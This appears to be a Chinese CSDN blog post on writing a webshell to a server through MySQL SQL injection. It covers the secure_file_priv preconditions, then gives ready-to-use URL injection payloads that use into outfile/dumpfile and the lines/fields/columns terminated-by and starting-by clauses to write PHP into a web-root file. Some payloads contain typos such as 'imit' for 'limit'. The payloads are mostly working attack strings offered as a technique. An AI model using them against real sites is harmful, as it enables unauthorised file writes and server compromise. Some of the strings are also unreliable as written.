【知识整理】利用SQL语句写shell的方法

利用SQL语句写shell的方法

要利用sql写shell就需要在配置中满足以下条件:

  1. 在mysql的配置文件my.ini中,secure_file_priv为空(被注释掉或不填)或者secure_file_priv配置是目录地址。
  2. 未开启全局GPC
关于mysql的secure_file_priv属性得多说几句
当secure_file_priv为空时,mysql对导入导出文件是没有限制的
当secure_file_priv为目录地址时,mysql可以在目录位置下进行导入导出操作
当secure_file_priv为NULL时,mysql就不能进行导入导出操作

使用sql语句select @@secure_file_priv即可查询参数的内容,从而判断该数据是否可以进行导入导出操作。

下面就进入正题,关于利用sql语句写shell的方法

union select 后写入

这个方法是非常常见的方法,在union select 后拼接 into dumpfileinto outfile来进行写shell

?id=1’ union select 1,2,’<?php phpinfo();?>’ into dumpfile ‘c:/www/info.php’#
?id=1’ union select 1,2,’<?php phpinfo();?>’ into outfile ‘c:/www/info.php’#

lines terminated by 写入

?id=1’ into outfile ‘C:/www/info.php’ lines terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines terminated by ‘<?php phpinfo();?>’#

拼接sql语句后,数据库处理的sql语句

select * from tables where id = 1' into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

注入原理
通过select语句查询的内容写入文件。
lines terminated by xx的作用是在每行终止的位置添加xx内容。

lines starting by 写入

?id=1’ into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ lines starting by ‘<?php phpinfo();?>’#

注入原理
ines starting by xx可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

?id=1’ into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ fields terminated by ‘<?php phpinfo();?>’#

注入原理
fields terminated by xx可以理解为 以每个字段的位置添加 xx 内容。

COLUMNS terminated by 写入

?id=1’ into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#
?id=1’ imit 1 into outfile ‘C:/www/info.php’ COLUMNS terminated by ‘<?php phpinfo();?>’#

注入原理
COLUMNS terminated by xx可以理解为以每列的位置添加 xx 内容。


参考资料

  • 0
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值